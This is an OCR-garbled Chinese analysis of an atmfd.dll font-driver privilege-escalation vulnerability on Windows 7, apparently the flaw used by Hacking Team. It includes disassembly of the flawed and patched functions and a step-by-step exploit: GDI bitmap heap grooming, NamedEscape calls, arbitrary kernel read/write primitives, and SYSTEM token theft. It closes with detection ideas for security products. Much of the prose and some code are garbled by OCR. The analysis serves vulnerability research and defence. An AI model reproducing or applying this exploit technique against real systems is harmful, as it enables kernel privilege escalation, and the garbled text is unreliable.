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ZIRIFFZM WindowsXP  ~Windows8.1 541, x86, x64 V-3 #85Z ZlwiF . i N
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S HTEAEE: Windows7 x86 + atmfd.dll(ver 5.1.2.241)
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text:00011EC6 write_callback_vuln_sub_11EC6 proc near ; DATA XREF: sub_125D0+660
.text:00011EC6

.text:00011EC6 ms_exc = CPPEH_RECORD ptr -18h

.text:00011EC6 arg_4 =word ptr 0Ch

.text:00011EC6 arg_8 =word ptr 10h

.text:00011EC6 arg_C = dword ptr  14h

.text:00011EC6

.text:00011EC6 push 8

.text:00011EC8 push offset stru_4CF60

.text:00011ECD call __SEH_prolog4

.text:00011ED2 and [ebp+ms_exc.registration. TryLevel], O
.text:00011ED6 movsx  eax, [ebp+arg_8] /MHFF S Y BB ffff?27?
.text:00011EDA mov ecx, [ebp+arg_C]

.text:00011EDD movzx  edx, word ptr [ecx+4]

.text:00011EE1 cmp eax, edx

.text:00011EE3 jge short loc_11EEE

.text:00011EE5 mov dx, [ebp+arg_4]

.text:00011EE9 mov [ecx+eax*2+6], dx

text:00011EEE

.text:00011EEE loc_11EEE: ; CODE XREF:
write_callback_vuln_sub_11EC6+1Dj

.text:00011EEE mov [ebp+ms_exc.registration. TryLevel], OFFFFFFFEh
.text:00011EF5 call loc_11F04 ; Finally handler 0 for function
11EC6

text:00011EFA;

text:00011EFA

.text:00011EFA loc_11EFA: ; CODE XREF:

write_callback_vuln_sub_11EC6:loc_11F04j
.text:00011EFA xor eax, eax



.text:00011EFC call __SEH_epilog4
.text:00011F01 retn 10h
.text:00011F04 ;
.text:00011F04
.text:00011F04 loc_11F04: ; CODE XREF:

Xt L DB FS

int__ stdcall write_callback_vuln_sub_11EC6(intal, _intl6 a2, intl6 a3, inta4)
{

I BRI NS4 a3

if (a3 < (signed int)*(_ WORD *)(a4 + 4) )

*(_WORD *)(a4 + 2 *a3 + 6) = a2;

return O;
}
1 a3 1E N F5 =ik 0x8000 I #t AR ik Oxffff222? — N4, a2 MEK S5 A% ad+2*a3
+6 , TMHEPEEARNT ad HIBHE X, 724 —ADHE ERRIT .

AT JE IR A atmfd.dll(ver 5.1.2.243)

int__ stdcall sub_11EC6(intal, intl6 a2, intl6 a3, int a4)
{
if (a3 < (signed int)*(_ WORD *)(a4 + 4) && a3>=0)
*(_WORD *)(ad4 + 2 *a3 + 6) = a2;
return 0;

}
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XtF- Bitmap X 5 H45 R B B VRIS 4 H ) I S5 #4048 SURFACE,

typedef struct {
unsigned int handle@;
unsigned int unke[4];

unsigned int handlel;



unsigned int unk1[2];
unsigned int width;
unsigned int height;
unsigned int size;
unsigned int addresseo;
unsigned int addressi;
unsigned int scansize;
unsigned int unk2;
unsigned int bmpformat;
unsigned int surftype;
unsigned int unk3;
unsigned int surflags;
unsigned int unk4[12];
} SURFACE;

HrF addresse,addressl #5174 T pBits IZE X . IX B FH 2 /> API W] LLIEATXT pBits #EATHRAE.

LONG SetBitmapBits(
HBITMAP hbmp,
DWORD cBytes,
CONST VOID *1pBits

)5

LONG GetBitmapBits(
_In_  HBITMAP hbmp,
_In_ LONG cbBuffer,
_Out_ LPVOID 1pvBits
)s

A% R AE % H addresse #8 M — AN WATME B/ 5 WAk, A4 B AT AT B A
Get/SetBitmapBits RIHEZMBHBRMTTEMAR . #—TX /NI KF A FEEE G s
addresso [N 2.

2) WE > Bitmap £5t4, FRIENEZSM” Bk < #ilan,
Handle vulnhandle = CreateBitmap(smallbitmapw32, smallbitmaph32, 1, 32, buf32);

UL ST — N ENAE, A BITMAP Z5fgthit & SURFACE , RFIAHIXAMRIFSS TiXA
SURFACE Hi[fil address@ HJFaEr, I3 mIRAVEN R N fFAHidE, 285181 GetBitmapBits AT
FIT 5 B (B 5 SR B AT

15 B T A B8R X AN IR A T 0 fid & #5254 addresse Hilik, FTLA hacking team f§H T H4b—ANH
D S E RS b e

FAVBAER 2 4~ BITMAP , 1 AEEATRERIAIRIAMS 19 vuln_BITMAP, — A2 RATHMMAIER
CTL_BITMAP.



pbits i

Vuln_BITMP addressO CTL_BITMP addressO

FIFH IR A EATLE vuln_BITMAP ) addresse thfg[a COL_BITMAP fdthbit. X4t vl DL T X
vuln_BITMAP [¥] SetBitmapbits >KAWIHKMEL CTL_BITMAP [¥] addresse Ml 3R AT H ) b
HHE .

ARG FIEE % CTL_BITMAP #£47 GetBitmapbits/SetBitmapbits K13 2IXHTE & b E .

3) R&ERRAMHSERD

1) Sesrfii—/> BITMAP 45#)

1pTable->locals->hBitmap = 1pTable->fpCreateBitmap(smallbitmapw32,
smallbitmaph32, 1, 32, buf32);

FIF Gditable 3£5 %] hBitmap St ZAE P A% HLIH Ak

2) MIE—AMRMI SURFACE 458 surf32, iliX4~ SURFACE [f] address® ?5[4 hBitmap X411
addresso [{] A itk .

surf32.width = largebitmapw;

surf32.height = largebitmaph;

surf32.size = surf32.width*surf32.height*4;

surf32.address® = surf32.addressl = handleaddr(lpTable->locals->hBitmap) + 0x2C;
surf32.scansize = surf32.width*4;

surf32.bmpformat = 0x6; //BMF_32BPP

0x00010000; //STYPE_DEVICE

0x04800000; //API_BITMAP | HOOK_TEXTOUT

surf32.surftype

surf32.surflags

In_ERA ox2c Wiif 2 hbitmap [ addresse Hiik.

MRIGHIEX MBI surf32 E B AR 29, IXPEAE AR SOl & IR s v LRI IX A surf32
B EAS BITMAP [F{E T »

for (i = 0; i < sizeof(surf32); i+=2) {
unsigned short tmp = *(unsigned short*)((unsigned int)&surf32+i);
*(unsigned short*)(1pTable->1lpLoaderConfig->foofont+0x16DF3+1i) =



1pTable->fpHtons(tmp);}

AT BN AR SCARAE N AZ I HBIEEAT 0, ORI P 4S ring3 TEik3Rk43 ringe ISRk .
X HEAFIH win32k.sys fl atmfd A 7 M AR &, X2 Af75 BITMAP F1 font &4/t
— LA AT

3) ESL5MC 100 > BITMAP
for (i =0; i < 100; i++){

lpTable->fpCreateBitmap(smallbitmapw32, smallbitmaph32, 1, 32, buf32);
}

4) EZAIEC 15 ANFARAE

for (j = 0; j < 15; j++) {

fhandle = 1pTable->fpAddFontMemResourceEx(1lpTable->1plLoaderConfig->foofont,
sizeof(lpTable->1lpLoaderConfig->foofont), ©, (DWORD*)&tmp[0]);

}

-

5) F4rAC 14 BITMAP

--

6) FrED 15 4 font ARt

7) R4S IR 5 A BITMAP Sk, THEH—AXIEEE, A THERE TR —A font X 5. FIH
NamedEscape ] 0x250A iy & 2B UA A RIA R, I BB RN G R ALE outbuf 22X
i

min = BITMAP_address - 0x4000;
max = BITMAP_address +0x4000;

for (i = min; i < max; i+=8) {
ret = NamedEscape(NULL, wcAtmfd, 0x250A, 0x0C, inbuf, 0X0C, outbuf);



AR T AT BLF R E] A font FIAAAHLAE 1, 12 N IXMESS inbuf, B4 A i A e i
e

8) 43t 1000 4~ 0xb000 K I BITMAP P AEEL, SR)5T-FREEZELER 9 MNRAHLRRIAL & .

I .

9) BURHAN -5, i-4 ,i-3 P, B 2TEA—A 0Xb000 *3 = 0x21000 K/ A o

i i-1 i-2 i-3 i-4 i-5 i-6 i-7 i-8

100 FAE-—/N K/ N 0x21000 # BITMAP b 5 gENIGF A4S 1 i-3, i-4, i-5 I E . FRidiXA
BITMAP >4 tempbitmap , USRS GEIE T BRI 3 AN B SRR Ak 48 9 MESME, &
SR8 HABFRIAIL.

i i-1 [B7 Tempbitmap(0x210000) i-6 i-7 i-8

11) sk tempbitmap HEH, BN IX N 0x21000 (173, Al R I E R IXAMLE .

i i-1 788 Tempbitmap(0x210000) i-6 i-7 i-8

12) A FH IR A % 2R % NamedEscape ) 0x2514

NamedEscape(NULL, wcAtmfd, ©x2514, sizeof(inbuf)-4, inbuf, sizeof(outbuf)-4,

outbuf);

inbuf BHFT 4 N REAE T Z AR EIN font UM P Z L, TN M X K/ E sizeof
(inbuf) - 4 Z5T 0x20005, 17X 55 5 K/N A 0x21000, it LANIGF 7T LA 1 fi — 5 98 B 1 28 R (A

H

[FIIF, B2 -2 1 BITMAP HL[fi addressO [F)4&4%T, 48 A1 5T 46 5 73 FL P 58 1) BT ¥ hBitmap
SF % 1 addressO Huik.
13) inbuf VLRI B S §-5, i-4, i-3, WULEC AN B & matched = i-5 ;



hBitmapslarge i /& 2t —££51] 0Xb000 ) BITMAP HEb#4, LA matched +3 w2 i-2, Al Mk
BHIFA bitmap FIR5I1ME. FhEILA XA bitmap K handler £ thehandle.
1pTable->locals->thehandle = lpTable->locals->hBitmapslarge[matched+3];

H AT ELFH thehandle H1 hBitmap #EATAE S BE AR S #4E . SeB R MEXUAIBESR . SRS 5T A
RS T . N % ik 7 ]

hBitmap struct

fEEEARH AT
PLH hBitmap

addressO ———__ "
/—» Get/SetBitmap

address0:__—1 bits K343
AR IR S XA
L O S =
hBitmap->address0

thehandle struct

T 7 k13
unsigned int arbread(PVTABLE lpTable, unsigned int addrl, unsigned int addrh) {
unsigned int tmp[4];// = {0,0,0,0};
__MEMSET__ (tmp, 0, 4);
tmp[@] = tmp[1] = addrl;
1pTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp); (1)

lpTable->fpGetBitmapBits(lpTable->locals->hBitmap, sizeof(tmp[@]),
&tmp[@]); (2)
}
return tmp[0];

(1) H thehandle ] Setitmapbits K45 hBitmap X4 (1) addresse {HA tmp[@]I1H
(2) ] hBitmap [¥) Getitmapbits ] 1pvBits i /& tmp SK3%5Z addresse 15 ) A 47 HL i A 1H

[E=3:R:RE 4]
unsigned int arbwrite(PVTABLE lpTable, unsigned int addrl, unsigned int addrh,
unsigned int value®@, unsigned int valuel) {

unsigned int tmp[4]; // = {0,0,0,0};

__MEMSET__ (tmp, 0, 4);
tmp[@] = tmp[1] = addrl;



lpTable->fpSetBitmapBits(1lpTable->locals->thehandle, 8, &tmp); (1)

tmp[@] = value®;
1pTable->fpSetBitmapBits(lpTable->locals->hBitmap, sizeof(tmp[@]),
&mp[e]); (2)

}
return tmp[0];

(1) HithehandleffjSetBitmapbits k{5 hBitmapX] % filaddresseft Atmp[0]HIMHE
(2) fihBitmaplfjSetBitmapbitsk#¥ivalueoffI{d S A\ Fladdressofifs b L .

=AM
BtE ring3 TG MATHEFEH EPROCESS 45, AT IXAE SLIG I M AT AR, #RE) system AL

for (55) {

unsigned int tmpaddr;

if (arbread(lpTable, sysprocl+lpTable->locals->pid_offset,
sysproch) == 4) //System

break;

LHL system HEFZE (1) token

systokenl = arbread(lpTable, sysprocl+lpTable->locals->token_offset,
sysproch);

systokenl &= OxFFFFFFF8;

BHANYETHEL token ImFe A &, B 4T EFE token 24 system 1#EF% token.

arbwrite(lpTable, 1lpTable->locals->kproc+lpTable->locals->token_offset, kbase,
systokenl, systokenh);

/9 HIPS Bi¥ &Rl
Hook #2117 GDI32 4 H [ ) NamedEscape B84

Hook_gdi_NamedEscape (HDC hdc, wchar_t *pDriver, int nEscape, int cbInput, void*
lpszInData, int cbOutput, void* lpszOutData);

1 EEH 0x250A A& AR, iR 7 B A 45K 58 A0 44 SO BT 7E bk (1 2 15— A
BRI EUR % 250A 14, — K T>1000 &

2) {FH 0x2514 iy 4R HL Charset 4544, 1 HIL—IX.

AR, AR B IX I AL TR IR AT DA H 38 FH SRR I AR SR 4
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